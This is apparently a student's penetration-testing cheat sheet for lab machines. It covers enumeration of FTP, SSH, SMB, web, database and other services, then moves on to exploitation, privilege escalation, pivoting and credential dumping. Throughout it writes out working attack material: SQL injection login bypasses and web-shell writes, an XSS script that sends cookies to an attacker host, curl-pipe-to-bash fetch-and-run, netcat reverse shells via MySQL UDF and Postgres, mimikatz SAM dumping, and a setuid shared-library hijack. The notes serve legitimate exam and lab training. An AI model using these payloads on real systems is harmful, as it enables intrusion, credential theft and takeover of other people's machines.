- 2: Not every file with capability guarantees PE vector, such as uidmap
- 3: Some files can only be exploited by SUDO instead of SUID
- 4: **Ports** protected by **firewall** or **listening locally** do not guarantee PE vector, but you still must **have a try**, just in case of falling into rabbit holes
- 5: In a docker environment

## Overview

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## Typically, there are two general approaches to get a foothold

#### 1: Execute remote command

- a: Directly gain RCE from a public exploit/misconfiguration
- b: The first exploit/misconfiguration provide **necessary info** for the second exploit such as credential for a service, and use the **second exploit** such as an **authenticated RCE exploit** to gain RCE
- 2: Collect credential to log in via SSH/RDP/Winrm
  - a: Retrieve sensitive info and credential

## Credential

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Most service require **authentication**, at least they **support** authentication. **Credential reuse** is one of the **most common vector**, therefore, we need to enumerate and note every possible credentials

#### Source of credentials:

- a: OSINT (Default credential)
- b: Common services' default credential
- c: Web content, such as blog, article, comment, message, etc.
- d: Use enum4linux to enumerate SMB users
- e: Web page's source code, especially comment
- f: Sometimes in JavaScript file
- g: Various config file, such as wp-config.php, etc.
- h: **Hard-coded** in **source code** file, such as **php**, **java**, etc.
- i: File name, directory name, SMB/NFS Share name
- j: Document files, such as note.txt, info.docx, account.xlsx, etc.
- k: Database
- l: Banner info or auto-reply message
- m: /home/\*/.bash\_history (If readable)

## FTP

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1: ftp 10.10.10.10 (-p)

2: Use Filezilla client to connect

3: Try anonymous login

4: Try weak credentials, ex: admin:admin

###Ref: Banzai, AuthBy

5: Try guest login with blank password

###Ref: **UT99** 

6: Share folders/files with SMB, webroot

7: hydra -I -I admin -P rockyou.txt -vV 10.10.10.10 ftp

8: Different users have access to different shares

###Ref: AuthBy

9: Download all files from FTP server: wget --mirror 'ftp://user1:passwd@

10.10.10.10

#### **Weak Credentials List:**

a: anonymous:anonymous

b: admin:admin

c: guest:[blank]

d: victim:victim (victim is the regular user on server, such as Tom)

e: ftp:ftp

f: admin:password

g: user:password

## SSH

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- 1: cd /home/victim/.ssh, cd /root/.ssh
- 2: hydra -I -I user -P dict/rockyou.txt ssh://10.10.10.10:22 -vV -t 4
- 3: Weak credential, password and username are the same
- 4: Upload own id\_rsa.pub to target server as authorized\_keys, chmod 600
- 5: Stole target's id\_rsa, chmod 600
- 6: Other key exchange method, such as DSA

###Ref:Sufferance

7: OpenSSL's vulnerability, such as Predictable PRNG

###Ref:Sufferance 8: X11Forwarding ###Ref: Forward

# Telnet

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1: hydra -l root -P rockyou.txt 10.10.10.10 telnet

## **SMTP**

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- 1: rlwrap nc -nv -C 10.10.10.10 25
- 2: VRFY, EXPN, RCPT, etc.
- 3: smtp-user-enum -M VRFY -U user.txt -t 10.10.10.10
- 4: nmap -script smtp-commands.nse 10.10.10.10
- 5: Verify existence of **user accounts** and **department accounts** from OSINT (**Teams section** of a website), and then try to log in via **POP** or **IMAP**
- 6: Use **SMTP** to send an email
  - a: helo hacker
  - b: MAIL FROM: hacker@localhost
  - c: RCPT TO: victim@localhost
  - d: **DATA**
  - e: **C**
  - f: . [Enter]
  - g: quit
- 7: If domain is required, add @localhost, @hostname, etc
- 8: If .forward existed in user's home folder and it is writable, RCE is possible (Ref: Forward in PG)

# DNS

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- 1: dig any hutch.offsec @10.10.10.10
- 2: dig axfr hutch.offsec @10.10.10.10
- 3: nslookup

# **TFTP**

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- 1: Does not have authentication
- 2: Upload/Download files
- 3: Does it share the same folder with **Webroot**?

# HTTP/HTTPS

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## **Enumerate directory/file/API-endpoint**

0: If web server runs on an **uncommon port**, try both **HTTP** and **HTTPS** protocol

###Ref: Mock Exam 20pts-2
1: sub-domains and virtual host

###Ref: **Phobos** 

2: dirb http://10.10.10.10

3: gobuster dir -u <a href="http://10.10.10.10">http://10.10.10.10</a> -w dir.txt -x html,txt,php,aspx,java -t 20 (-k, if https)

4: wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 <a href="http://10.10.10.10/FUZZ/">http://10.10.10/FUZZ/</a>

5: Use specific app's dictionary: such as SharePoint CMS dictionary

###Ref: **Tally** 

6 **Hidden** directory, named as **hostname**, **domain name**, **username**, **service name**, sometimes little **social engineering** skills (Guess one, retrieve info from contents) required

###Ref: Shenzi

7: Same version application's GitHub repository/Official Document

###Ref: Megavolt

8: Specified from web content, such as from Post/Blog/Review

###Ref: Catto

9: robots.txt, sitemap

10: Access non-existed URL, get error messages

###Ref: Medjed, Nappa

11: Enumerate sub-directory with a basic authentication: gobuster dir -U

admin -P admin -u http://10.10.10.10/private -w dir.txt -x

html,php,aspx,txt -t 20

###Ref: Phobos

### **Low-hanging vulnerability**

- 1: Framework's vulnerability, language's vulnerability
- 2: Specialized scanner like wpscan
- 3: **SSL vulnerability**, such as **HeartBleed** vulnerability. Tool is available from <a href="https://github.com/drwetter/testssl.sh">https://github.com/drwetter/testssl.sh</a>

#### **Source Code Review**

1: Comment (Search '<!-')

2: URL of redirected pages, since some hyperlinks don't have colors (Search 'href')

###Ref: Megavolt

3: Press **F12** in **browser** to **edit** code, recover **hidden elements** 

## ###Ref: Nappa

#### **Browser**

1: Combine Firefox with Chrome

###Ref: Synapse

2: Use convenient add-ons: Wappalyzer, Cookie-Editor, Shodan, Hack-Tools,

Foxproxy, etc.

###Ref: Flasky, Megavolt

3: If an exploit is unsuccessfully, switch to another explorer (Ref: Synapse)

4: Dev Tools ###Ref: Nappa

## Framework and Language Feature

1: Such as master page to ASP.NET

###Ref: Butch

2: Use simple payload like "1+1", "1\*2" to check eval(), especially in JavaScript

and **Python** 

###Ref: Dibble, Flasky, Hetmit

3: Use payload like {{7\*7}} to check **SSTI** vulnerability, output reveals web

framework

###Ref: CookieCutter

#### **OSINT**

1: Public web content could have valuable info, pay attention to user profile/bio section, blog, post, reviews, etc.

###Ref: Medjed, PostFish, Hepet, Catto

2: If HTTPS, check certificate info, find possible email or username

#### **Bypass login**

- 1: Default credential
- 2: Weak/Common credential
- 3: SQLi payload
  - a)

username=admin' or '1'=1

password=[arbitrary]

b)

username=admin

password=' or '1'='1

c)

username=admin

password=' or 1=1-- -

d)

username=**admin' or 1=1-- -**

password=[arbitrary]

4: Guess according to OSINT

###Ref: BillyBoss

5: Dictionary Attack

6: Register one

###Ref: Medjed, Nappa7: Not required for exploit

8: Prompts of basic authentication (Ref: Walla), source codes especially

comments

###Ref: Nappa

9: Launch SQLi to overwrite or retrieve

###Ref: **Medjed** 

10: XSS steals cookie ###Ref: Megavolt 11: session reuse ###Ref: Shifty

12: **OSINT** 

###Ref: Nappa

## **Bypass IP-Filter**

1: Add X-Forwarded-For: 127.0.0.1 header

###Ref: XPosedAPI

2: **SSRF** 

###Ref: CookieCutter

### **Burpsuite**

1: Check special headers

###Ref: **Twiggy** 

2: Communication/Dependency with other services/ports

###Ref: Catto

3: Edit request to bypass access control

###Ref: Interface

4: Like 3, edit request to impersonate admin user

###Ref: Interface 5: Analyze API

###Ref: XPosedAPI, Catto, Hetmit, Nickel, Interface, Hunit

#### WebDAV

1: Use **nikto** to scan

2: cadaver http://10.10.10.10

###Ref: Hutch

3: Credential (If required)

4: Put/Get to upload/download file

#### CGI

1: shellshock ###Ref: Alpha

#### **SQLi**

1: Bypass login, refer Bypass Login section

1: Use a special character such as single quote to verify existence of SQLi

###Ref: **Medjed** 

2: Write a shell to webroot: 'UNION SELECT ("<?php echo

passthru(\$\_GET['cmd']);") INTO OUTFILE 'var/www/html/cmd.php' -- -'

###Ref: **Medjed, Hawat** 3: **Error-based** Injection

###Ref: Medjed

#### XSS

1: Steal admin's cookie to bypass login: <script>new

Image().src="http://10.10.10.20/file.jpg?

cookie="+document.cookie;</script>, nc -nlvp 80

###Ref: **Megavolt** 2: Turn to shell

### **Cookie and Session**

1: Steal cookie by XSS

###Ref: **Megavolt** 

2: Generate/Fake a valid cookie

###Ref: Flasky
3: Reuse session
###Ref: Shifty

### File Upload

1: Identify framework's language

2: File extension **blacklist/whitelist**: Modify file extension to **phtml**, **txt**, etc. And the payload could be: <?php echo shell\_exec(\$\_GET['cmd']); ?>. Access http://abc.com/xyc.php?file=shell.php&cmd=whoami

###Ref: Pavday, Pain

3: Filter type: client filter or server filter, whitelisting or blacklisting

###Ref: Escape

4: Access uploaded file's URL

### **Config File**

1: phpinfo.php

2: /var/www/html, /var/www/[application name]

3: Webroot, hostname, username, version, API, database credential, etc.

4: /etc/apache2/

## **Embedded Console/Shell Interface**

1: Like the one in Walla

#### **GET and POST**

1: Construct POST method request: curl -X POST --date

"email=test@test.com" http://10.10.10.10

###Ref: XPosedAPI, Hetmit

2: Construct **GET** method request: **curl** <a href="http://10.10.10.10.10">http://10.10.10.10.10</a>?

email=test@test.com

3: Sometimes need to guess arguments by trials and errors, follow errors messages and prompts

###Ref: Nickel

### **Database**

1: SQLi

###Ref: Medjed, Hawat 2: Retrieve credential ###Ref: Phobos, Medjed

3: Overwrite credential if hash is unexploitable

###Ref: Tico, Dibble

## Plugin

1: Vulnerable plugin's exploit

###Ref: Nukem, Tico

2: Enable a specific plugin

###Ref: Megavolt

#### **Guess parameter and Fuzz**

1: Guess **hidden parameter**. For example, if current page is **email-related**, guess **email** as the **parameter**.

###Ref: UC404

2: ffuf -w dict/wincmd.txt -u http://10.10.10.10/reset.php?email=FUZZ

###Ref: **UC404** 

3: Find potential command injection vulnerability

###Ref: Nickel, UC404, Phobos

#### **URL Encoding**

1: Pay attention to encoded character

2: Encode URL especially using curl or burpsuite to launch RCE attack

###Ref: **Dibbles, Nappa** 

3: Sometimes, only some special characters are encoded

###Ref: Phobos

#### LFI/RFI

1: If an argument name is like **view, file**, **page**, **skin**, **theme**, **template**, etc., file inclusion is highly possible

2: If LFI is confirmed, try RFI as well

3: If RFI does not work, change **HTTP/FTP** protocol to **SMB** protocol.

###Ref: Sniper

4: If RFI really does not exist, use LFI to read some **sensitive files** such as a **config file** which contains **credentials**. Then leverage **harvested credential** for **next exploit** 

###Ref: Muddy

5: Switch between absolute path and relative path

###Ref: **G00g** 

6: Include **service config files**, such as **/etc/apache2/sites-available/000-default.conf**, **/etc/vsftpd.conf**, etc.

###Ref: Deployer, G00g

7: Use PHP filter to check source code:

http://10.10.10.10?page=php://filter/convert.base64-

encode/resource=view.php

###Ref: **G00g** 

8: If XXE is possible, it can also lead to LFI

###Ref: Muddy

9: LFI itself does have some approaches that lead to RCE

10: Some restriction, need a little adjustment to file name, file extension, end

of file name (%00), etc. ###Ref: Pain, Gh0st, G00g

#### **Path Traversal**

1: Read server's file, such as /etc/passwd

###Ref: **Apex** 

2: Transfer inaccessible file(backend file, authorized-required file) to

accessible directory (File Manager interface, SMB/FTP share)

###Ref: Apex

#### Webroot

1: Side site upload/injection

###Ref: Medjed

2: Association with FTP, SMB root folder

###Ref: Banzai

#### **Tomcat**

1: Try to access /manager

2: **Default cred:** admin:admin, tomcat:tomcat, admin:NULL, admin:s3cr3t,

tomcat:s3cr3t, admin:tomcat

3: Upload .war payload

#### WordPress

1: Default **login path**: /wp-login.php, /wp-login, /wp-admin, /wp-admin.php, /login

2: wpscan

3: Plugin, themes' exploit

4: Panel RCE (Apperance->Editor->404 Template)

5: Upload a plugin

6: Its **config** file (For **PE** stage)

#### **Jenkins**

1: RCE: create a new project, build section->execute shell, Build now

## **Error Messages**

- 1: Incorrect padding ==> Existence of encoding, such as Base64
- 2: No such file or directory ==> Possible LFI/RFI
- 3: cannot register this username ==> This username does existed
- 4: Access a non-existed URL ==> Reveal all paths (Rail)

## **API Hacking**

1: Use **burpsuite** to analysis **requests**, **responses**, and **hidden URL** (especially those cannot be **enumerated** by **dirb** or **gobuster**)

2: Enumerate all **endpoints** 

###Ref: Interface, Hunit

3: Interface, such as GraphQL interface for Gatsby

###Ref: Catto 4: Official doc ###Ref: Catto

5: Fuzz API endpoint (<a href="http://10.10.10.10/endpoint/FUZZ">http://10.10.10.10.10/endpoint/FUZZ</a>) to check LFI/RFI and Command Injection vulnerability with filename, command, encoded filename and command

###Ref: Reconstruction

## Connection/Dependency with other ports/services

1: Use burpsuite to analysis traffics

###Ref: Catto

2: Links pointing to other ports in source codes

###Ref: Nickel

3: **Database**, **memcached** server, etc.

###Ref: **Shifty** 4: Search

###Ref: Twiggy

#### Werkzeug

1: If **debug** is enabled, access **/console** and launce **RCE** 

2: **eval()** 

###Ref: Flasky, Hetmit

#### **Rails**

1: Access a **non-existed URL** to get **error messages** 

### **Vulnerable methods**

1: eval() in NodeJS and Python ###Ref: Dibble, Flasky, Hetmit

2: preg\_replace() in PHP

###Ref: **Splodge** 

### **SSRF**

1: Access internal web server

###Ref: CookieCutter

### **SSTI**

1: Try payload cmd={{7\*7}} to detect

###Ref: CookieCutter)

### SSI

1: Pay attention to **shtml** page

###Ref: Synapse

#### **Git and SVN**

1: Download all content: wget -r http://10.10.10.10/.get

2: Find source on github

## **GraphQL**

1: /graphgl, /graphiql, /graphql.php, /graphql/console, /\_\_graphql

###Ref: Catto 2: Query

###Ref: Catto

# POP3

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- 1: Use nc or telnet to connect
  - a: USER victim, PASS 123123
  - b: LIST
  - c: **RETR 1**
- 2: Combine **username** with **simple passwords** (password, 123456, username, etc.)
- 3: IMAP is similar to POP3

# **IMAP**

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- 1: Similar to POP3
- 2: Use **netcat** or **telnet** to connect
  - a: Al LOGIN user pass
  - b: Al LIST "" \*
  - c: Al LIST INBOX \*

# **RPCBind**

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1: RPCBind+NFS, could be able to list and download file

# NTP

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1: nmap -sU -sV --script "ntp\* and (discovery or vuln) and not (dos or brute)" -p 123 10.10.10.10

2: ntpq -c sysinfo 10.10.10.10

# **MSRPC**

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1: Rarely helps in exploitation

# **SMB**

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```
1: enum4linux -a 10.10.10.10
```

a: Users info

b: **Domain** info

c: **Share** info

2: smbclient -L 10.10.10.10

3: smbclient //10.10.10.10/share

4: smbclient //<u>10.10.10.10/</u>share -U "

5: smbclient //10.10.10.10/share -U "bob%passw0rd"

###Ref:Forward

6: mount -t cifs //10.10.10/share /mnt/share

7: mount -t cifs -o username=victim //10.10.10.10/share /mnt/share

8: nmap -p 139,445 10.10.10.10 --script smb-vuln\*

9: nbtscan -r 10.10.10.10

10: rpcclient -U "" 10.10.10.10

11: smbclient //192.168.121.116/my\ share (With space)

12: Download all files recursively

a: mask ""

b: recurse ON

c: prompt OFF

d: mget \*

13: Share folder with webroot

14: Path traversal vulnerability

###Ref: **Sufferance** 

15: Different SMB users have access to different shares

###Ref: **Forward** 

# **SNMP**

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1: snmpwalk -c public -v1 10.10.10.10

2: snmp-check 10.10.10.10 -c public

3: nmap -P 161,162 -sU 10.10.10.10

4: Use Extend-MIB tables to launch RCE

###Ref: **Escape** 

5: Write-Read community string leads to RCE

# **LDAP**

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1: nmap -n -sV --script "ldap\* and not brute" 10.10.10.10

2: Check Null credentials: **Idapsearch -x -h 10.10.10.10 -D " -w " -b** 

"DC=hutct,DC=offsec"

3: Authenticated: Idapsearch -x -h 10.10.10.10 -D 'hutch\victim' -w '123123' - b "DC=hutch,DC=offsec"

4: If LAPS is enabled, try to query admin's password: Idapsearch -x -h

10.10.10.10 -D 'hutch\victim' -w '123123' -b "dc=hutch,dc=offsec" "(ms-MCS-

AdmPwd=\*)" ms-MCS-AdmPwd

###Ref: Hutch

# **MSSQL**

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- 1: sqsh -S 10.10.10.10 -U sa
- 2: python mssqlclient.py -p 1435 sa:123123@10.10.10.10
- 3: Check and enable xp\_cmdshell
  - a: sp\_configure 'show advanced options', '1'
  - b: **RECONFIGURE**
  - c: sp\_configure 'xp\_cmdshell', '1'
  - d: **RECONFIGURE**
  - e: xp\_cmdshell cd C:/Users && dir

###Ref: **Meathead** 

4: **Get databases:** SELECT name FROM master.dbo.sysdatabases #Get

databases

- 5: **Get tables:** SELECT \* FROM
- <databaseName>.INFORMATION\_SCHEMA.TABLES;

# MySQL/Maria DB

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```
1: mysql - host 10.10.10.10 -u root -proot (Credential stored in Web config file)
```

2: telnet 10.10.10.10 3306

3: cat /etc/my.cnf

4: UDF to RCE

###Ref: Banzai, PWK Textbook Lab

5: Get **version**: select version();, select @@version();

6: Get user: select user();

7: Get database name: select database();

8: Union SQLi:

a: Union Select 1,2,3,4,group\_concat(0x7c,table\_name,0x7C) from information\_schema.tables

b: Union Select 1,2,3,4,column\_name from information\_schema.columns where table name="user"

9: Use SQLi to write a backdoor: 'UNION SELECT ("<?php echo passthru(\$\_GET['cmd']);") INTO OUTFILE 'var/www/html/cmd.php' ---' 10: Error-based SQLi:

- a: 'AND (SELECT 1 FROM(SELECT COUNT(\*),concat(0x3a,(SELECT username FROM users LIMIT 0,1),FLOOR(rand(0)\*2))x FROM information\_schema.TABLES GROUP BY x)a)---,
- b: 'AND (SELECT 1 FROM(SELECT COUNT(\*),concat(0x3a,(SELECT password FROM users LIMIT 0,1),FLOOR(rand(0)\*2))x FROM information\_schema.TABLES GROUP BY x)a)---
- 10: Read file: select load file('/etc/passwd');

# NFS

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1: nmap --script nfs\* 10.10.10.10

2: showmount -e 10.10.10.10

3: mount -10.10.10:/dir /tmp

# **RDP**

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#### **Enumeration**

1:nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 10.10.10.

2: python rdp\_check hutch/victim:123123@10.10.10.10

#### **Connect to RDP**

- 1: rdesktop 10.10.10.10
- 2: xfreerdp /u:[hutch\]victim /p:123123 /v:10.10.10.10
- 3: xfreerdp /u:[hutch\]victim /pth:[hash] /v:10.10.10.10

#### **Crack RDP**

- 1: Could lead to lock
- 2: hydra -t 1 -V -f -l administrator -P rockyou.txt rdp://10.10.10.10

#### Have credential but RDP is disabled

- 1: evil-winrm -u admin -p 123123 -l 10.10.10.10
- 2: python smbexec.py admin:123123@10.10.10.10 cmd.exe
- 3: python psexec.py admin:123123@10.10.10.10 cmd.exe

# Postgres

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```
1: psql -h 10.10.10.10 -p 5432 -U postgres -W postgres
2: \list, \c postgres, \d
3: select pg_ls_dir('/')
4: Read a file: create table demo (t text); copy demo from '/etc/passwd'; select * from demo;
5: RCE
###Ref: Nibbles, Splodge
```

# **VNC**

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- 1: Port **5800, 5801, 5900, 5901**
- 2: vncviewer 10.10.10.10:5901
- 3: Sometimes **GUI** is **required** for some programs ###Ref:**Nukem**

# **Additional Service**

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## **Erlang**

1: port 4369, service: epmd

2: nmap -sV -Pn -n -T4 -p 4369 --script epmd-info 10.10.10.10

3: Find erlang cookie (.erlang.cookie) to launch RCE attack

###Ref: Clyde

#### **RSYNC**

1: a: rlwrap nc -nv -C 10.10.10.10 873

b: @RSYNCD 31.0

c: #list ###Ref: Fail

#### **IRC**

1: Hexchat

2: Telnet or nc

a: rlwrap nc -nv -C 10.10.10.10 6667

b: USER kali 0 \* kali, NICK kaliii (Quick!)

c: VERSION, INFO, LIST, ADMIN

###Ref: UT99

#### **Redis**

1: redis-cli -h 10.10.10.10

2: info, client list, config get \*

3: redis RCE

###Ref: Wombo

4: In redis cli, execute: Load custom module: LOAD MODULE

/var/ftp/pub/module.so

###Ref: Sybaris

#### RabbitMQ

1: Access <a href="http://10.10.10.10:15672/">http://10.10.10.10.10:15672/</a>

2: Default credential: guest:guest

#### Memcache

1: nmap -n -sV --script memcached-info -p 11211 10.10.10.10

2: Use telnet/nc to connect, stats slabs, stats items, stats cachedump 10

3: Could store sessions

4: get session:session1

5: mc.set("session:shell", pickle.dumps(RCE())) (Python)

###Ref:**Shifty** 

## **ElasticSearch**

- 1: Access <a href="http://10.10.10.10:9200/">http://10.10.10.10:9200/</a>
- 2: curl -X GET http://user1:123123@10.10.10.10:9200

## Mongodb

```
1: mondo 10.10.10.10
```

2: mongo 10.10.10.10:27017

3: mongo db -u user1 -p '123123'

4: Mongodb Compass for GUI access

###Ref: Tico, Phobos, Dibbles

5: Python login

a: import pymongo

b: c=pymongo.MongoClient("127.0.0.1", 27017)

c: c.database\_names()

d: c.[name].collection\_names()

f: for I in c.[name].[key].find({}):

g: print(i)

#### Others:

### **Check this link:**

https://book.hacktricks.xyz/pentesting/50030-50060-50070-50075-50090-pentesting-hadoop

# **RCE to Shell**

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#### Common

1: Check connection:

Kali: tcpdump -i tun0 "icmp",

Target: ping -c 5 10.10.10.20 (Sometimes ping is unavailable on target)

- 2: Switch /bin/bash to /bin/sh (vice versa)
- 3: Add -c or /c flag to bash, cmd, or powershell to create a new process
- 4: Adjust payload, add or delete some characters
- 5: For some script language payload, switch between **one-line payload** and **function-encapsulated payload**

#### **Addition**

- 1: Create a bash/python(3)/etc. script exp.sh on Kali, curl <a href="http://10.10.10.20/exp.sh">http://10.10.20/exp.sh</a> | bash (On victim server)
- 2: Usf msfvenom to generate a payload, execute it on victim server
- 3: Create a bash/python(3)/etc. script on victim server, execute it

#### LFI to RCE

- 1: Include session file
  - a: Find php session file. usually in /var/lib/phpx/sess\_[SessionId],

/tmp/sess\_[SessionId]

- b: Replace a parameter's value as <?php system("[command]");?>
- c: Remove Cookie header, and include session file
- 2: phpinfo.PHP
  - a: If file uploads is on
- b: PoC script: <a href="https://0xdf.gitlab.io/2020/04/22/htb-nineveh.html#shell-as-www-data-via-phpinfophp">https://0xdf.gitlab.io/2020/04/22/htb-nineveh.html#shell-as-www-data-via-phpinfophp</a>
- 3: Log poison
  - a: If log file is accessible, such as /var/log/vsftpd.log,

### /var/log/apache2/access.log

- b: For access.log, insert payload to user agent. For vsftpd.log, give payload in username section
  - c: **Include** the log file
- 4: Send mail
  - a: Send an email with a malicious payload
  - b: Include /var/mail/www-data

#### **RFI to RCE**

- 1: Include a webshell from Kali VM
- 2: If http is not permitted, use **SMB URL**
- 3: Execute commands or receive a reverse shell

## Linux

- 1: Transfer nc to /tmp
- 2: chmod +x /tmp/nc
- 3: /tmp/nc 10.10.10.20 4444 -e /bin/bash

# Windows

- 1: Transfer nc.exe to C:/windows/tmp
- 2: C:/windows/tmp/nc 10.10.10.20 4444 -e cmd.exe

# **Adjust Payload**

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1: Pay attention to special characters: ' " ` / \: () {} [].

2: **Add** or **delete one or more** special characters at the **beginning** or the **end** of payload, according to the application.

###Reference: Humble

3: Switch payload between **one-line payload** or **function-encapsulated payload** ###Reference: **Dibble** 

4: If one exploit does not work, switch to another exploit if possible

###Reference: Exfiltrated

# Manual Enumeration for Both

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Even automatic scripts such as Linpeas will not tell you all possible PE vectors, check the following manually

- 1: Backups folder, user's folder, webroot
- 2: **Ports blocked** by **firewall** (Show in **target netstat list**, but does not appear on **nmap scanning result**)
- 3: Ports listening locally
- 4: Third-party program's folder
- 5: Custom SUID file, or custom file with sudo permission
- 6: **Document** files (doc, txt, pdf, ps1, etc.) contain **sensitive info**, such as **credential**, **hidden directory**, etc.
- 7: If a regular file cannot be found, try to find its backup file (Ref: Hunit)

# Linux

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#### Manual checklist

- 1: cat /etc/crontab, cd /etc/cron.d. If a specific application is invoked, check its version and vulnerability, such as exiftool (dpkg -l | grep exiftool)
- 2: Writable passwd or readable shadow
- 3: Check sudo list: **sudo -l.** Use a **user/group** privilege to execute a program.

User: sudo -u user1 [CMD], Group: sudo -g group1 [CMD]

- 4: Shell file, such as xxx.sh, especially writable ones
- 5: Find SUID file: find / -type f -perm /4000 2>/dev/null
- 6: Find writable file: find /etc -type f -writable 2> /dev/null
- 7: Check environment variables: export, echo \$PATH, echo \$
- **LD\_LIBRARY\_PATH**, and find **path** of key\_file by executing **which key\_file**. If possible, use **PATH trick**.
- 8: If something is missing from environment variables, **export** it. For example: **export PATH**
- 9: If a **directory** in **PATH** is **writable**, change directory to this directory, create a **payload** named **run-parts**, because **run-parts** is **always** invoked by **cronjobs**. If there is any program executed by cronjobs and have **less intervals** than run-parts, that's better.
- 10: Inspect webroot folder carefully
- 11: Capability: **getcap keyfile**, **getcap -r / 2>/dev/null**
- 12: uname -an, check kernel version
- 13: ps aux | grep root, check services ran by root
- 14: netstat -ano | grep 127.0.0.1, check locally listening ports
- 15: grep -R "pass" 2>/dev/null, search for plaintext password, such as MySQL's credential.
- 16: Log in database, find users' credential, which could be reused
- 17: Check if any **port** is **protected by** a **firewall**, if so, use **port forwarding** technique
- 18: Whether it is a **container** environment **(E.g. If root directory has .dockerenv)**
- 19: Check /var/backups and other backups folder
- 20: Use pspy to find hidden process and cronjob
- 21: If a **file** ran with **root permission** is not invoked by **full path**, **PATH trick** can be possible
- 22: If there is a **normal user** in server, try to switch to him/her
- 23: Is it a **docker** environment? If it is, **important info** can **still** be found
- 24: sudo su, su root, su normaluser with reused password (web's login credential, other services' credential, etc.), weak password.
- 25: If any port is listening locally and interesting, forward it to Kali: **ssh -L 445:localhost:445 victim@10.10.10**

26: Some services require **GUI** instead of **shell**, use **VNC/ssh** -**X** (**X11Forwarding**) to login target

27: Check binary file's **dynamic libraries**: **Idd file1**. If it lacks a dynamic library, we can use **dynamic library hijacking** technique. If all paths in **LD\_LIBRARY\_PATH** are **unwritable**, check **/etc/Id.so.conf.d** folder 28: Check **/etc/fstab** to list all **mounted filesystems**. Is any directory set **nosuid**, **noexec**, etc. For example, **/tmp** can be set **nosuid**, **noexec**.

## **Auxiliary**

- 1: ./linpeas.sh -a>log.txt
- 2: linenum.sh

# Windows

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## **Low hanging Fruit:**

- 1: whoami /priv, check available privileges
- 2: Plaintext password in registry: reg query HKLM /f pass /t REG\_SZ /s
- 3: Check hotfix: wmic qfe list
- 4: Check write permission: icacls C:/Folder\_A, echo '123' > 123.txt
- 5: Check unquoted autorun service: wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
- 6: Autorun services: wmic service get name, displayname, pathname, startmode | findstr / i "auto"
- 7: Check service info: sc qc Service1
- 8: Check environment variable: PATH
- 9: Check **Third-Party program**: In **Program File** or **Program File** (x86) folder, **user's folder**, **Backup** folder, **Desktop**, etc.
- 10: Check powershell script, txt files, and other descriptive documents
- 11: systeminfo, check kernel version and hotfix list
- 12: net users /domain, check users' privileges
- 13: Check if any **port** is **protected** by a **firewall**, if so, use **port forwarding** technique
- 14: Scheduled tasks: schtasks /query /fo LIST /v
- 15: Running tasks: tasklist /SVC
- 16: Writable files and directories: **Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{\$\_.AccessToString -match "Everyone\sAllow\s\sModify"}**
- 17: Check mounted and unmounted drives: mountvol
- 18: Check **AlwaysInstallElevated**:
- a: reg query HKEY\_LOCAL\_MACHINE\Software\Policies\Microsoft \Windows\Installer
- b: reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
- c: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
- 19: **Potato** exploits

#### **Auxiliary:**

- 1: .\winpeasany.exe log
- 2: Sherlock.ps1
  - a: powershell.exe -nop -exec bypass
  - b: Import-Module sherlock.ps1
  - c: Find-AllVulns | Out-File-Encoding ASCII check.txt
- 3: PowerUp.ps1

- a: powershell.exe -nop -exec bypass
- b: Import-Module PowerUp.ps1
- c: Invoke-AllChecks | Out-File-Encoding ASCII checks.txt

# **Pivot**

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# 1: sshuttle

sshuttle -r victim@10.10.10.10 10.10.10.1/24

# 2: Proxychains

- a: gedit /etc/proxychains4.conf
- b: socks4 127.0.0.1 9050
- c: comment out proxy\_dns
- d: Only use TCP
- e: -Pn added to nmap command
- f: proxychains nmap 10.10.10.10 80

# **Extract Credential**

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# 1: shadow and passwd

unshadow passwd shadow john --wordlist=rockyou.txt --format=sha512crypt unshadowed.txt

## 2: SAM

a:.\mimikatz.exe

b: privilege::debug

c: token::elevate

d: lsadump::sam

e: john --wordlist=rockyou.txt hash.txt --format=NT

# **Firewall**

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# Linux:

1: iptables -L

2: cat /etc/ufw/user.rules

## Windows:

1: netsh advfirewall show currentprofile

2: netsh advfirewall firewall show rule name=all

# Linux

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#### **Foothold or PE**

## 1: MySQL UDF

a: Download **compiled module** (<a href="https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql">https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql</a>

b: create table zys(line blob);

c: insert into zys values(load\_file('tmp/sqlpe.so'));

d: select \* from zys into dumpfile '/usr'lib/mysql/plugin/sqlpe.so';

e: create function sys\_exec returns integer soname 'sqlpe.so';

f: select sys\_exec('nc -nv 10.10.10.10 20 -e /bin/bash');

#### 2: Redis RCE

exp 1: In redis cli, execute: LOAD MODULE /var/ftp/pub/module.so (https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)

exp 2: python redisrce.py -r 10.10.10.10 -p 6379 -L 10.10.10.20 -P 6379 -f shell.so (https://github.com/Ridter/redis-rce)

## 3: Erlang RCE

a: Find .erlang.cookie file

b: Download exploit from <a href="https://www.exploit-db.com/exploits/49418">https://www.exploit-db.com/exploits/49418</a>

c: **Edit** the exploit

d: python3 exp.py

#### 4: Postgres RCE

a: Switch to database app: \c app

b: drop table if exists cmd exec;

c: create table cmd\_exec(cmd\_output text);

d: Set up a netcat listener, execute **COPY cmd\_exec FROM PROGRAM 'nc 10.10.10 4444** -e /bin/bash';

#### 5: Docker breakout

Root privilege in docker environment

a: fdisk -l

b: mkdir -p /mnt/pwn

c: mount /dev/sda1 /mnt/pwn

d: cd /mnt/hola/root

e: chroot /mnt/pwn

#### Normal user in docker environment

Find more info within the environment

### PE only

```
1: ld.so
  a: Find the binary file which misses a library
  b: Idd binary_file, find the missing library: missed.so
  c: Check file /etc/ld.so.conf and directory /etc/ld.so.conf.d
  d: Check the config file vital.conf in /etc/ld.so.conf.d and where it points to
  e: Check the path vital.conf points to, if the library is missing, create a
malicious one
  f: strings binary_file, find the possible function, create a source code file
  #include <stdio.h>
  #include <sys/types.h>
  #include <unistd.h>
  void vital()
  {
    setuid(0);
    setgid(0);
    system("/bin/bash");
  g: Compile source code to abc.so: gcc exp.c -omissed.so -shared -Wall -fPIC -
  h: Execute the binary file
2: Socket Command Injection
  a: netstat -ano | grep socket.s
